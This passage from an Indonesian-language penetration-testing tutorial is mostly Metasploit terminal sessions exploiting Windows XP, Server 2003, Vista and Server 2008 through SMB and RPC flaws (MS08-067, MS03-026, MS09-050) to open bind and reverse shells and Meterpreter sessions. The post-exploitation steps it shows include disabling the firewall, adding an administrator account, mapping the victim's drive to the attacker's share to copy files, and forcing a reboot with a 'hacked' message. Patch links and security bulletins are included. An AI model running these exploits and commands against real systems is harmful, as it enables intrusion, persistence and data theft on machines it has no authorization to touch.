Periksa dengan show options, untuk melihat tampilan current setting pada rhost.

```
Terminal
File  Edit  View  Search  Terminal  Help


Exploit target:

   Id  Name
   --  ----
   0   Automatic Targeting


msf  exploit(ms08_067_netapi) >
msf  exploit(ms08_067_netapi) > exploit

[*] Started bind handler
[*] Automatically detecting the target...
[*] Fingerprint: Windows XP - Service Pack 3 - lang:English
[*] Selected Target: Windows XP SP3 English (AlwaysOn NX)
[*] Attempting to trigger the vulnerability...
[*] Command shell session 1 opened (192.168.1.102:47579 -> 192.168.1.107:4444)
at 2013-04-11 11:14:50 +0000

Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\WINDOWS\system32>
```

Exploit lalu enter

Latihan :

Mematikan firewall di shell windows

Menampilkan informasi firewall : netsh firewall show opmode

Mematikan firewall : netsh firewall set opmode mode=disable

Membuat user, menjadikan user administrator dan sebagainya di windows

net user tukang 12345 /add

net user tukang coba

net localgroup administrators tukang /add

net localgroup administrators tukang /delete

net user tukang /del

net user tukang 12345 /add

net localgroup

net localgroup cewek /add

net localgroup cewek tukang /add

net localgroup

Salin data antar komputer target dengan penyerang

kita dapat membuka map drive pada drive Z di komputer target untuk menghubungkan dengan folder yang di share di komputer kita.

Misal di komputer kita yang di share namanya sharingfile, untuk login username : kurniawan, password : baseball

Tinggal kita masukkan perintah :

Net use z: \\192.168.1.71\sharingfile /u:192.168.1.71\kurniawan baseball /persistent:yes

Jika menyerang menggunakan windows dengan nama share, username dan password yang sama cukup dengan perintah

Net use z: \\192.168.1.71\sharingfile /u:kurniawan lali enter, tulis passwordnya lalu enter.

kurniawan adalah username komputer kita sendiri

Di atas kita telah sukses menghubungkan komputer korban dengan komputer kita menggunakan net use sehingga drive Z adalah drive folder share yang ada di komputer kita. Dengan penghubungan ini maka kita dapat melakukan copy file antar komputer dengan mudah.

25.3 Eksploitasi target SMB pada Windows XP SP3 dengan firewall target aktif (Reverse)

Target firewall menyala tapi pada Don't allow exceptions tidak dicentang.

Payload yang digunakan adalah Shell reverse tcp.

Menggunakan exploit ms08_067_netapi, lalu enter.

Set payload dengan perintah windows/shell/reverse_tcp.

Ip penyerang di set pada lhost, perintah yang digunakan jika ip address penyerang adalah 192.168.1.123 adalah set lhost 192.168.1.123

Untuk set ip target, misalnya targetnya adalah 192.168.1.39 maka perintahnya adalah set rhost 192.168.1.39.

Untuk mengetahui apakah sudah diisi belum apa yang dibutuhkan ketik show options lalu enter.

Jika sudah dilakukan set semua maka ketik exploit lalu enter.

Hasil eksploitasi :

```
msf auxiliary(browser_autopwn) > use exploit/windows/smb/ms08_067_netapi
msf exploit(ms08_067_netapi) > set payload windows/shell/reverse_tcp
payload => windows/shell/reverse_tcp
msf exploit(ms08_067_netapi) > set lhost 192.168.1.123
lhost => 192.168.1.123
msf exploit(ms08_067_netapi) > set rhost 192.168.1.39
rhost => 192.168.1.39
msf exploit(ms08_067_netapi) > exploit

[*] Started reverse handler on 192.168.1.123:4444
[*] Automatically detecting the target...
[*] Fingerprint: Windows XP - Service Pack 3 - lang:English
[*] Selected Target: Windows XP SP3 English (AlwaysOn NX)
[*] Attempting to trigger the vulnerability...
[*] Encoded stage with x86/shikata_ga_nai
[*] Sending encoded stage (267 bytes) to 192.168.1.39
[*] Command shell session 2 opened (192.168.1.123:4444 -> 192.168.1.39:1057
 at 2015-08-29 08:25:59 -0700

Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\WINDOWS\system32>
```

Sebagai tambahan jika ingin mengirimkan pesan tapi juga dibuat restart

```
msf exploit(ms08_067_netapi) > exploit

[*] Started reverse TCP handler on 192.168.1.223:4444
[*] 192.168.1.103:445 - Automatically detecting the target...
[*] 192.168.1.103:445 - Fingerprint: Windows XP - Service Pack 3 - lang:English
[*] 192.168.1.103:445 - Selected Target: Windows XP SP3 English (AlwaysOn NX)
[*] 192.168.1.103:445 - Attempting to trigger the vulnerability...
[*] Encoded stage with x86/shikata_ga_nai
[*] Sending encoded stage (267 bytes) to 192.168.1.103
[*] Command shell session 1 opened (192.168.1.223:4444 -> 192.168.1.103:1070) at
 2017-12-25 17:28:08 -0500

Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\WINDOWS\system32>shutdown -r -t 20 -c "komputer ini dihack oleh sapa ya"
shutdown -r -t 20 -c "komputer ini dihack oleh sapa ya"

C:\WINDOWS\system32>
```

shutdown -r -t 20 -c “computer ini dihack oleh sapa ya”

Hasilnya seperti di atas

Untuk patch celah di atas

http://www.microsoft.com/en-us/download/details.aspx?id=3205

20.4 Contoh hacking pada Windows Server 2003 dari celah MSRPC

Target yang akan diuji adalah host dengan ip address 192.168.1.115

```
root@kalilinux5:~# nmap -A 192.168.1.115

Starting Nmap 6.40 ( http://nmap.org ) at 2016-09-01 08:27 EDT
Nmap scan report for 192.168.1.115
Host is up (0.00085s latency).
Not shown: 995 closed ports
PORT     STATE SERVICE      VERSION
135/tcp  open  msrpc        Microsoft Windows RPC
139/tcp  open  netbios-ssn
445/tcp  open  microsoft-ds Microsoft Windows 2003 or 2008 microsoft-ds
1025/tcp open  msrpc        Microsoft Windows RPC
1026/tcp open  msrpc        Microsoft Windows RPC
MAC Address: 00:0C:29:4B:7A:F5 (VMware)
Device type: general purpose
Running: Microsoft Windows XP|2003
OS CPE: cpe:/o:microsoft:windows_xp cpe:/o:microsoft:windows_server_2003
OS details: Microsoft Windows XP SP2 or SP3, or Windows Server 2003
Network Distance: 1 hop
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
```

Terdeteksi port 135 open

```
 smb-os-discovery:
   OS: Windows Server 2003 3790 (Windows Server 2003 5.2)
   OS CPE: cpe:/o:microsoft:windows_server_2003::-
   Computer name: data22-oarkqa41
   NetBIOS computer name: DATA22-OARKQA41
   Workgroup: WORKGROUP
_  System time: 2016-09-12T15:37:17-07:00
 smb-security-mode:
   Account that was used for smb scripts: guest
   User-level authentication
   SMB Security: Challenge/response passwords supported
_  Message signing disabled (dangerous, but default)
_smbv2-enabled: Server doesn't support SMBv2 protocol

RACEROUTE
OP RTT     ADDRESS
   0.85 ms 192.168.1.115

S and Service detection performed. Please report any inc
/nmap.org/submit/ .
                  |+ -- --=[ 1246 exploits - 678 auxiliary -
```

Sistem operasi yang digunakan adalah Windows Server 2003

https://technet.microsoft.com/en-us/library/security/ms03-026.aspx

Microsoft Security Bulletin MS03-026 - Critical

Buffer Overrun In RPC Interface Could Allow Code Execution (823980)

Published: July 16, 2003 | Updated: September 10, 2003

Version: 2.0

Originally posted : July 16, 2003
Revised: September 10, 2003

Summary
Who should read this bulletin:
Users running Microsoft ® Windows ®

Impact of vulnerability:
Run code of attacker's choice

Maximum Severity Rating:
Critical

- End Users can visit the Protect Your PC Web site.
- IT Professionals can visit the Microsoft TechNet Security Cent

Affected Software:

- Microsoft Windows NT® 4.0
- Microsoft Windows NT 4.0 Terminal Services Edition
- Microsoft Windows 2000
- Microsoft Windows XP
- Microsoft Windows Server™ 2003

Not Affected Software:

- Microsoft Windows Millennium Edition

Informasi celah msrpc pada Windows Server 2003 terdeteksi pada MS03-026

```
msf > search rpc
[!] Database not connected or cache not built, using slow search

Matching Modules
================

   Name                                                        Discl
   ----                                                        -----
   auxiliary/admin/backupexec/registry
Exec Server Registry Access
   auxiliary/admin/hp/hp_imc_som_create_account                2013-
Management SOM Account Creation
   auxiliary/admin/serverprotect/file
erProtect File Access
```

Search rpc

```
RCserve Tape Engine 0x8A Buffer Overflow
   exploit/windows/dcerpc/ms03_026_dcom                        2003-07-16      great
COM Interface Overflow
   exploit/windows/dcerpc/ms05_017_msmq                        2005-04-12      good
ge Queueing Service Path Overflow
   exploit/windows/dcerpc/ms07_029_msdns_zonename              2007-04-12      great
PC Service extractQuotedChar() Overflow (TCP)
   exploit/windows/dcerpc/ms07_065_msmq                        2007-12-11      good
ge Queueing Service DNS Name Path Overflow
   exploit/windows/emc/networker_format_string                 2012-08-29      norma
ormat String
   exploit/windows/http/ca_arcserve_rpc_authbypass             2011-07-25      excel
 GWT RPC Credential Information Disclosure
   exploit/windows/smb/ms04_011_lsass                          2004-04-13      good
 Service DsRolerUpgradeDownlevelServer Overflow
   exploit/windows/smb/ms06_040_netapi                         2006-08-08      good
r Service NetpwPathCanonicalize Overflow
```

Pilih exploit/windows/dcerpc/ms03_026_dcom

```
f > info exploit/windows/dcerpc/ms03_026_dcom

       Name: Microsoft RPC DCOM Interface Overflow
     Module: exploit/windows/dcerpc/ms03_026_dcom
   Platform: Windows
  rivileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Great

  ovided by:
  hdm <hdm@metasploit.com>
  spoonm <spoonm@no$email.com>
  cazz <bmc@shmoo.com>

  ailable targets:
  Id  Name
  --  ----
  0   Windows NT SP3-6a/2000/XP/2003 Universal

  sic options:
  Name    Current Setting  Required  Description
  ----    ---------------  --------  -----------
  RHOST                    yes       The target address
  RPORT   135              yes       The target port

  yload information:
  Space: 880
```

Exploit ini mengeksploitasi pada port 135 pada target

```
msf > use exploit/windows/dcerpc/ms03_026_dcom
msf exploit(ms03_026_dcom) > set payload windows/shell/bind_tcp
payload => windows/shell/bind_tcp
msf exploit(ms03_026_dcom) > set rhost 192.168.1.115
rhost => 192.168.1.115
msf exploit(ms03_026_dcom) > exploit

[*] Started bind handler
[*] Trying target Windows NT SP3-6a/2000/XP/2003 Universal...
[*] Binding to 4d9f4ab8-7d1c-11cf-861e-0020af6e7c57:0.0@ncacn_ip_tcp:192.168.1.115[135] ...
[*] Bound to 4d9f4ab8-7d1c-11cf-861e-0020af6e7c57:0.0@ncacn_ip_tcp:192.168.1.115[135] ...
[*] Sending exploit ...
[*] Encoded stage with x86/shikata_ga_nai
[*] Sending encoded stage (267 bytes) to 192.168.1.115
[*] Command shell session 1 opened (192.168.1.160:44617 -> 192.168.1.115:4444) at 2016-09-01 09:01:56 -0400

Microsoft Windows [Version 5.2.3790]
(C) Copyright 1985-2003 Microsoft Corp.

C:\WINDOWS\system32>ver
```

Hasil eksploitasi

20.5 Contoh hacking pada SMB di Windows Vista

Target dengan Windows vista menggunakan ip address 192.168.1.116

```
root@kalilinux5:~# nmap -A 192.168.1.116

Starting Nmap 6.40 ( http://nmap.org ) at 2016-09-01 09:41 EDT
Nmap scan report for 192.168.1.116
Host is up (0.019s latency).
Not shown: 991 closed ports
PORT      STATE SERVICE     VERSION
135/tcp   open  msrpc       Microsoft Windows RPC
139/tcp   open  netbios-ssn
445/tcp   open  netbios-ssn
49152/tcp open  msrpc       Microsoft Windows RPC
49153/tcp open  msrpc       Microsoft Windows RPC
49154/tcp open  msrpc       Microsoft Windows RPC
49155/tcp open  msrpc       Microsoft Windows RPC
49156/tcp open  msrpc       Microsoft Windows RPC
49157/tcp open  msrpc       Microsoft Windows RPC
MAC Address: 00:0C:29:59:10:6B (VMware)
Device type: general purpose
Running: Microsoft Windows 7|2008
OS CPE: cpe:/o:microsoft:windows_7::- cpe:/o:microsoft:windows_7::sp1
rosoft:windows_server_2008::sp1 cpe:/o:microsoft:windows_8
OS details: Microsoft Windows 7 SP0 - SP1, Windows Server 2008 SP1, o
Network Distance: 1 hop
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
```

Saat dilakukan nmap terdeteksi port 445 open

```
| smb-os-discovery:
|   OS: Windows Vista (TM) Ultimate 6001 Service Pack 1 (Windows Vista (TM) Ult
mate 6.0)
|   OS CPE: cpe:/o:microsoft:windows_vista::sp1
|   Computer name: WIN-FWT7VXRLRIS
|   NetBIOS computer name: WIN-FWT7VXRLRIS
|   Workgroup: WORKGROUP
|_  System time: 2016-09-12T16:51:40-07:00
| smb-security-mode:
|   Account that was used for smb scripts: guest
|   User-level authentication
|   SMB Security: Challenge/response passwords supported
|_  Message signing disabled (dangerous, but default)
|_smbv2-enabled: Server supports SMBv2 protocol

TRACEROUTE
HOP RTT      ADDRESS
1   18.54 ms 192.168.1.116
```

NMAP mendeteksi Windows Vista SP1 pada target

```
msf > search smb
[!] Database not connected or cache not built, using slow search

Matching Modules
================

   Name                                                     Disclo
te  Rank       Description
   ----                                                     ------
--  ----       -----------
   auxiliary/admin/mssql/mssql_ntlm_stealer
    normal     Microsoft SQL Server NTLM Stealer
   auxiliary/admin/mssql/mssql_ntlm_stealer_sqli
    normal     Microsoft SQL Server NTLM Stealer - SQLi
   auxiliary/admin/oracle/ora_ntlm_stealer                  2009-0
    normal     Oracle SMB Relay Code Execution
   auxiliary/admin/smb/check_dir_file
    normal     SMB Scanner Check File/Directory Utility
   auxiliary/admin/smb/delete_file
    normal     SMB File Delete Utility
```

Jalankan msfconsole lalu ketik search smb

Microsoft Security Bulletin MS09-050 - Critical

Vulnerabilities in SMBv2 Could Allow Remote Code Execution (975517)

Published: October 13, 2009 | Updated: October 14, 2009

Version: 1.1

General Information

Executive Summary

This security update resolves one publicly disclosed and two privately reported vulnerabilities in Server Message Block Version 2 (SMBv2). The most severe of the vulnerabilities could allow remote code execution if an attacker sent a specially crafted SMB packet to a computer running the Server service. Firewall best practices and standard default firewall configurations can help protect networks from attacks that originate from outside the enterprise perimeter. Best practices recommend that systems that are connected to the Internet have a minimal number of ports exposed.

This security update is rated Critical for supported editions of Windows Vista and Windows Server 2008. For more information, see the subsection, **Affected and Non-Affected Software**, in this section.

The security update addresses the vulnerabilities by correctly validating the fields inside the SMBv2 packets, correcting the way that SMB handles the command value in SMB packets, and correcting the way that SMB parses specially crafted SMB packets. For more information about the vulnerabilities, see the Frequently Asked Questions (FAQ) subsection for the specific vulnerability entry under

MS09-50 memberitahukan keberadaan celah pada SMBv2

Affected Software

Operating System	Maximum Security Impact	Aggregate Severity Rating	Bulletins Replaced by this Update
Windows Vista, Windows Vista Service Pack 1, and Windows Vista Service Pack 2	Remote Code Execution	Critical	None
Windows Vista x64 Edition, Windows Vista x64 Edition Service Pack 1, and Windows Vista x64 Edition Service Pack 2	Remote Code Execution	Critical	None
Windows Server 2008 for 32-bit Systems and Windows Server 2008 for 32-bit Systems Service Pack 2*	Remote Code Execution	Critical	None
Windows Server 2008 for x64-based Systems and Windows Server 2008 for x64-based Systems Service Pack 2*	Remote Code Execution	Critical	None
Windows Server 2008 for Itanium-based Systems and Windows Server 2008 for Itanium-based Systems Service Pack 2	Remote Code Execution	Critical	None

Windows Vista SP1 mempunyai celah SMB

```
   manual     Microsoft Workstation Service NetpManageIPCConnect Overflow
  exploit/windows/smb/ms07_029_msdns_zonename                    2007-04-12
   manual     Microsoft DNS RPC Service extractQuotedChar() Overflow (SMB)
  exploit/windows/smb/ms08_067_netapi                            2008-10-28
   great      Microsoft Server Service Relative Path Stack Corruption
  exploit/windows/smb/ms09_050_smb2_negotiate_func_index         2009-09-07
   good       Microsoft SRV2.SYS SMB Negotiate ProcessID Function Table Derefer
ence
  exploit/windows/smb/ms10_061_spoolss                           2010-09-14
   excellent  Microsoft Print Spooler Service Impersonation Vulnerability
```

Exploit yang digunakan dari hasil pencarian dengan search

```
> info exploit/windows/smb/ms09_050_smb2_negotiate_func_index

       Name: Microsoft SRV2.SYS SMB Negotiate ProcessID Function Table Derefe
     Module: exploit/windows/smb/ms09_050_smb2_negotiate_func_index
   latform: Windows
   vileged: Yes
   License: Metasploit Framework License (BSD)
       Rank: Good

   ided by:
   urent Gaffie <laurent.gaffie@gmail.com>
   m <hdm@metasploit.com>
    <stephen_fewer@harmonysecurity.com>
```

Informasi exploit

```
Available targets:
  Id  Name
  --  ----
  0   Windows Vista SP1/SP2 and Server 2008 (x86)

Basic options:
  Name    Current Setting  Required  Description
  ----    ---------------  --------  -----------
  RHOST                    yes       The target address
  RPORT   445              yes       The target port
  WAIT    180              yes       The number of seconds to wait for the attack to complete.

Payload information:
  Space: 1024

Description:
  This module exploits an out of bounds function table dereference in
  the SMB request validation code of the SRV2.SYS driver included with
  Windows Vista, Windows 7 release candidates (not RTM), and Windows
  2008 Server prior to R2. Windows Vista without SP1 does not seem
  affected by this flaw.

References:
  http://www.microsoft.com/technet/security/bulletin/MS09-050.mspx
  http://cvedetails.com/cve/2009-3103/
```

Salah satunya untuk eksploitasi SMB port 445 pada Windows Vista SP1/SP2

```
msf > use exploit/windows/smb/ms09_050_smb2_negotiate_func_index
msf exploit(ms09_050_smb2_negotiate_func_index) > set payload windows/shell/bind
_tcp
payload => windows/shell/bind_tcp
msf exploit(ms09_050_smb2_negotiate_func_index) > set rhost 192.168.1.116
rhost => 192.168.1.116
msf exploit(ms09_050_smb2_negotiate_func_index) > exploit
[*] Started bind handler

[*] Connecting to the target (192.168.1.116:445)...
[*] Sending the exploit packet (880 bytes)...
[*] Waiting up to 180 seconds for exploit to trigger...

[*] Encoded stage with x86/shikata_ga_nai
[*] Sending encoded stage (267 bytes) to 192.168.1.116
[*] Command shell session 1 opened (192.168.1.160:60581 -> 192.168.1.116:4444) a
t 2016-09-01 09:55:14 -0400

Microsoft Windows [Version 6.0.6001]
Copyright (c) 2006 Microsoft Corporation.  All rights reserved.

C:\Windows\system32>
```

Hasil dari eksploitasi

Untuk patch ;

Untuk patch celah di atas (32 bit) : https://www.microsoft.com/en-us/download/details.aspx?id=2578

https://www.microsoft.com/en-us/download/details.aspx?id=12010

Security Update for Windows Vista for x64-based Systems (KB975517)

Download

A security issue has been identified that could allow an unauthenticated remote attacker to compromise your system and gain control over it.

Details

System Requirements

Supported Operating System

Windows Vista, Windows Vista 64-bit Editions Service Pack 1, Windows Vista Service Pack 2

Patch untuk 64 bit : https://www.microsoft.com/en-us/download/details.aspx?id=12010

20.6 Contoh hacking pada SMB di Windows Server 2008

Windows 2008 Server dengan ip address 192.168.1.157

```
root@kalilinux5:~# nmap -A 192.168.1.157

Starting Nmap 6.40 ( http://nmap.org ) at 2016-09-01 10
Nmap scan report for 192.168.1.157
Host is up (0.0014s latency).
Not shown: 989 closed ports
PORT      STATE SERVICE       VERSION
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn
445/tcp   open  netbios-ssn
3389/tcp  open  ms-wbt-server Microsoft Terminal Servic
5357/tcp  open  http          Microsoft HTTPAPI httpd 2
|_http-methods: No Allow or Public header in OPTIONS re
|_http-title: Service Unavailable
49152/tcp open  msrpc         Microsoft Windows RPC
```

Terdeteksi port 445 open

```
OS details: Microsoft Windows 7 SP0 - SP1, Windows Server 2008 SP1, or Windows 8
Network Distance: 1 hop
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_nbstat: NetBIOS name: WIN-7ROPA2V06NT, NetBIOS user: <unknown>, NetBIOS MAC: 00:
| smb-os-discovery:
|   OS: Windows Server (R) 2008 Enterprise 6001 Service Pack 1 (Windows Server (R)
|   OS CPE: cpe:/o:microsoft:windows_server_2008::sp1
|   Computer name: WIN-7ROPA2V06NT
|   NetBIOS computer name: WIN-7ROPA2V06NT
|   Workgroup: WORKGROUP
|_  System time: 2016-09-12T19:29:41-07:00
| smb-security-mode:
|   Account that was used for smb scripts: guest
|   User-level authentication
|   SMB Security: Challenge/response passwords supported
|_  Message signing disabled (dangerous, but default)
|_smbv2-enabled: Server supports SMBv2 protocol

TRACEROUTE
HOP RTT     ADDRESS
1   1.45 ms 192.168.1.157
```

Target terdeteksi menggunakan Windows Server 2008

Microsoft Security Bulletin MS09-050 - Critical

Vulnerabilities in SMBv2 Could Allow Remote Code Execution (975517)

Published: October 13, 2009 | Updated: October 14, 2009

Version: 1.1

General Information

Executive Summary

This security update resolves one publicly disclosed and two privately reported vulnerabilities in Server Message Block Version 2 (SMBv2). The most severe of the vulnerabilities could allow remote code execution if an attacker sent a specially crafted SMB packet to a computer running the Server service. Firewall best practices and standard default firewall configurations can help protect networks from attacks that originate from outside the enterprise perimeter. Best practices recommend that systems that are connected to the Internet have a minimal number of ports exposed.

This security update is rated Critical for supported editions of Windows Vista and Windows Server 2008. For more information, see the subsection, **Affected and Non-Affected Software**, in this section.

The security update addresses the vulnerabilities by correctly validating the fields inside the SMBv2 packets, correcting the way that SMB handles the command value in SMB packets, and correcting the way that SMB parses specially crafted SMB packets. For more information about the vulnerabilities, see the Frequently Asked Questions (FAQ) subsection for the specific vulnerability entry under

Affected Software

Operating System	Maximum Security Impact	Aggregate Severity Rati
Windows Vista, Windows Vista Service Pack 1, and Windows Vista Service Pack 2	Remote Code Execution	Critical
Windows Vista x64 Edition, Windows Vista x64 Edition Service Pack 1, and Windows Vista x64 Edition Service Pack 2	Remote Code Execution	Critical
Windows Server 2008 for 32-bit Systems and Windows Server 2008 for 32-bit Systems Service Pack 2*	Remote Code Execution	Critical
Windows Server 2008 for x64-based Systems and Windows Server 2008 for x64-based Systems Service Pack 2*	Remote Code Execution	Critical
Windows Server 2008 for Itanium-based Systems and Windows Server 2008 for Itanium-based Systems Service Pack 2	Remote Code Execution	Critical

SMB Windows Server 2008 memiliki celah remote code execution

```
msf > search smb
[!] Database not connected or cache not built, using slow search
```

Search smb

```
   exploit/windows/smb/ms08_067_netapi                                2008-10-28
Service Relative Path Stack Corruption
   exploit/windows/smb/ms09_050_smb2_negotiate_func_index             2009-09-07
S SMB Negotiate ProcessID Function Table Dereference
   exploit/windows/smb/ms10_061_spoolss                               2010-09-14
pooler Service Impersonation Vulnerability
   exploit/windows/smb/netidentity_xtierrpcpipe                       2009-04-06
y Agent XTIERRPCPIPE Named Pipe Buffer Overflow
   exploit/windows/smb/psexec                                         1999-01-01
 Authenticated User Code Execution
   exploit/windows/smb/psexec_psh                                     1999-01-01
 Authenticated Powershell Command Execution
   exploit/windows/smb/smb_relay                                      2001-03-31
 SMB Relay Code Execution
   exploit/windows/smb/timbuktu_plughntcommand_bof                    2009-06-25
 PlughNTCommand Named Pipe Buffer Overflow
```

Pilih exploit/windows/smb/ms09_050_smb2_negotiate_func_index

```
> info exploit/windows/smb/ms09_050_smb2_negotiate_func_index

   Name: Microsoft SRV2.SYS SMB Negotiate ProcessID Function Table Derefe
 Module: exploit/windows/smb/ms09_050_smb2_negotiate_func_index
latform: Windows
vileged: Yes
icense: Metasploit Framework License (BSD)
   Rank: Good

ided by:
urent Gaffie <laurent.gaffie@gmail.com>
n <hdm@metasploit.com>
 <stephen_fewer@harmonysecurity.com>
```

Untuk menampilkan informasi exploit

```
Available targets:
  Id  Name
  --  ----
  0   Windows Vista SP1/SP2 and Server 2008 (x86)

Basic options:
  Name   Current Setting  Required  Description
  ----   ---------------  --------  -----------
  RHOST                   yes       The target address
  RPORT  445              yes       The target port
  WAIT   180              yes       The number of seconds to wait for the attac

Payload information:
  Space: 1024

Description:
  This module exploits an out of bounds function table dereference in
  the SMB request validation code of the SRV2.SYS driver included with
  Windows Vista, Windows 7 release candidates (not RTM), and Windows
  2008 Server prior to R2. Windows Vista without SP1 does not seem
  affected by this flaw.

References:
  http://www.microsoft.com/technet/security/bulletin/MS09-050.mspx
  http://cvedetails.com/cve/2009-3103/
  http://www.securityfocus.com/bid/36299
```

Salah satunya untuk target Windows Server 2008 dengan port 445

```
msf > use exploit/windows/smb/ms09_050_smb2_negotiate_func_index
msf exploit(ms09_050_smb2_negotiate_func_index) > set payload windows/shell/bind_tcp
payload => windows/shell/bind_tcp
msf exploit(ms09_050_smb2_negotiate_func_index) > set rhost 192.168.1.157
rhost => 192.168.1.157
msf exploit(ms09_050_smb2_negotiate_func_index) > exploit
[*] Started bind handler

[*] Connecting to the target (192.168.1.157:445)...
[*] Sending the exploit packet (880 bytes)...
[*] Waiting up to 180 seconds for exploit to trigger...
[*] Encoded stage with x86/shikata_ga_nai
[*] Sending encoded stage (267 bytes) to 192.168.1.157
[*] Command shell session 1 opened (192.168.1.160:51362 -> 192.168.1.157:4444) at 2016-

Microsoft Windows [Version 6.0.6001]
Copyright (c) 2006 Microsoft Corporation.  All rights reserved.

C:\Windows\system32>
```

Hasil eksploitasi

Patch untuk 32 bit : https://www.microsoft.com/en-us/download/details.aspx?id=3486

Patch untuk 64 bit : https://www.microsoft.com/en-us/download/details.aspx?id=3195

20.7 Meterpreter

Meterpreter is an advanced, dynamically extensible payload that uses in-memory DLL injection stagers and is extended over the network at runtime. It communicates over the stager socket and provides a comprehensive client-side Ruby API. It features command history, tab completion, channels, and more.

Metepreter was originally written by skape for Metasploit 2.x, common extensions were merged for 3.x and is currently undergoing an overhaul for Metasploit 3.3. The server portion is implemented in plain C and is now compiled with MSVC, making it somewhat portable. The client can be written in any language but Metasploit has a full-featured Ruby client API.

How Meterpreter Works

The target executes the initial stager. This is usually one of bind, reverse, findtag, passivex, etc.

The stager loads the DLL prefixed with Reflective. The Reflective stub handles the loading/injection of the DLL.

The Metepreter core initializes, establishes a TLS/1.0 link over the socket and sends a GET. Metasploit receives this GET and configures the client.

Lastly, Meterpreter loads extensions. It will always load stdapi and will load priv if the module gives administrative rights. All of these extensions are loaded over TLS/1.0 using a TLV protocol.

Sumber : offensive-security.com - https://www.offensive-security.com/metasploit-unleashed/about-meterpreter

Eksploitasi kembali target SMB pada Windows XP SP3, gunakan perintah use untuk menggunakan exploit nya, setelah itu pilih payload yang ingin digunakan. Untuk set target, misal targetnya 192.168.1.39 maka perintah yang digunakan set rhost 192.168.1.38. Untuk payload, di sini misalnya menggunakan payload windows/meterpreter/bind_tcp, maka perintah untuk menggunakan payload tersebut adalah set payload windows/meterpreter/bind_tcp.

Setelah di set semua maka untuk melihat apa yang sudah dimasukkan ketik show options lalu enter, jika sudah di set semua maka ketik exploit lalu enter.

Contohnya untuk set payload nya dan langsung eksploitasinya.

```
Terminal
File  Edit  View  Search  Terminal  Help
flective DLL Injection, Reverse TCP Stager (DNS)
   windows/dns_txt_query_exec                                    normal  DN
S TXT Record Payload Download and Execution
   windows/exec                                                  normal  Wi
ndows Execute Command
   windows/loadlibrary                                           normal  Wi
ndows LoadLibrary Path
   windows/messagebox                                            normal  Wi
ndows MessageBox
   windows/meterpreter/bind_ipv6_tcp                             normal  Wi
ndows Meterpreter (Reflective Injection), Bind TCP Stager (IPv6)
   windows/meterpreter/bind_nonx_tcp                             normal  Wi
ndows Meterpreter (Reflective Injection), Bind TCP Stager (No NX or Win7)
   windows/meterpreter/bind_tcp                                  normal  Wi
ndows Meterpreter (Reflective Injection), Bind TCP Stager
   windows/meterpreter/reverse_http                              normal  Wi
ndows Meterpreter (Reflective Injection), Reverse HTTP Stager
   windows/meterpreter/reverse_https                             normal  Wi
ndows Meterpreter (Reflective Injection), Reverse HTTPS Stager
   windows/meterpreter/reverse_ipv6_http                         normal  Wi
ndows Meterpreter (Reflective Injection), Reverse HTTP Stager (IPv6)
   windows/meterpreter/reverse_ipv6_https                        normal  Wi
ndows Meterpreter (Reflective Injection), Reverse HTTPS Stager (IPv6)
   windows/meterpreter/reverse_ipv6_tcp                          normal  Wi
```

Pilih windows/meterpreter/bind_tcp

```
Terminal
File  Edit  View  Search  Terminal  Help
   windows/vncinject/bind_nonx_tcp                               normal  VN
C Server (Reflective Injection), Bind TCP Stager (No NX or Win7)
   windows/vncinject/bind_tcp                                    normal  VN
C Server (Reflective Injection), Bind TCP Stager
   windows/vncinject/reverse_http                                normal  VN
C Server (Reflective Injection), Reverse HTTP Stager
   windows/vncinject/reverse_ipv6_http                           normal  VN
C Server (Reflective Injection), Reverse HTTP Stager (IPv6)
   windows/vncinject/reverse_ipv6_tcp                            normal  VN
C Server (Reflective Injection), Reverse TCP Stager (IPv6)
   windows/vncinject/reverse_nonx_tcp                            normal  VN
C Server (Reflective Injection), Reverse TCP Stager (No NX or Win7)
   windows/vncinject/reverse_ord_tcp                             normal  VN
C Server (Reflective Injection), Reverse Ordinal TCP Stager (No NX or Win7)
   windows/vncinject/reverse_tcp                                 normal  VN
C Server (Reflective Injection), Reverse TCP Stager
   windows/vncinject/reverse_tcp_allports                        normal  VN
C Server (Reflective Injection), Reverse All-Port TCP Stager
   windows/vncinject/reverse_tcp_dns                             normal  VN
C Server (Reflective Injection), Reverse TCP Stager (DNS)

msf  exploit(ms08_067_netapi) > set payload windows/meterpreter/bind_tcp
payload => windows/meterpreter/bind_tcp
msf  exploit(ms08_067_netapi) >
```

set payload windows/meterpreter/bind_tcp

```
Terminal
File  Edit  View  Search  Terminal  Help
C Server (Reflective Injection), Reverse TCP Stager (No NX or Win7)
   windows/vncinject/reverse_ord_tcp                          normal  VN
C Server (Reflective Injection), Reverse Ordinal TCP Stager (No NX or Win7)
   windows/vncinject/reverse_tcp                              normal  VN
C Server (Reflective Injection), Reverse TCP Stager
   windows/vncinject/reverse_tcp_allports                     normal  VN
C Server (Reflective Injection), Reverse All-Port TCP Stager
   windows/vncinject/reverse_tcp_dns                          normal  VN
C Server (Reflective Injection), Reverse TCP Stager (DNS)

msf  exploit(ms08_067_netapi) > set payload windows/meterpreter/bind_tcp
payload => windows/meterpreter/bind_tcp
msf  exploit(ms08_067_netapi) > exploit

[*] Started bind handler
[*] Automatically detecting the target...
[*] Fingerprint: Windows XP - Service Pack 3 - lang:English
[*] Selected Target: Windows XP SP3 English (AlwaysOn NX)
[*] Attempting to trigger the vulnerability...
[*] Sending stage (752128 bytes) to 192.168.1.107
[*] Meterpreter session 2 opened (192.168.1.102:35904 -> 192.168.1.107:4444) at
 2013-04-11 11:18:14 +0000

meterpreter >
```

Exploit lalu enter

```
meterpreter > sysinfo
Computer        : CLIENTDATA
OS              : Windows XP (Build 2600, Service Pack 3).
Architecture    : x86
System Language : en_US
Meterpreter     : x86/win32
meterpreter >
```

sysinfo untuk mengetahui informasi komputer target

```
terpreter > help

re Commands
===========

  Command                   Description
  -------                   -----------
  ?                         Help menu
  background                Backgrounds the current session
  bgkill                    Kills a background meterpreter script
  bglist                    Lists running background scripts
  bgrun                     Executes a meterpreter script as a background thr
d
  channel                   Displays information about active channels
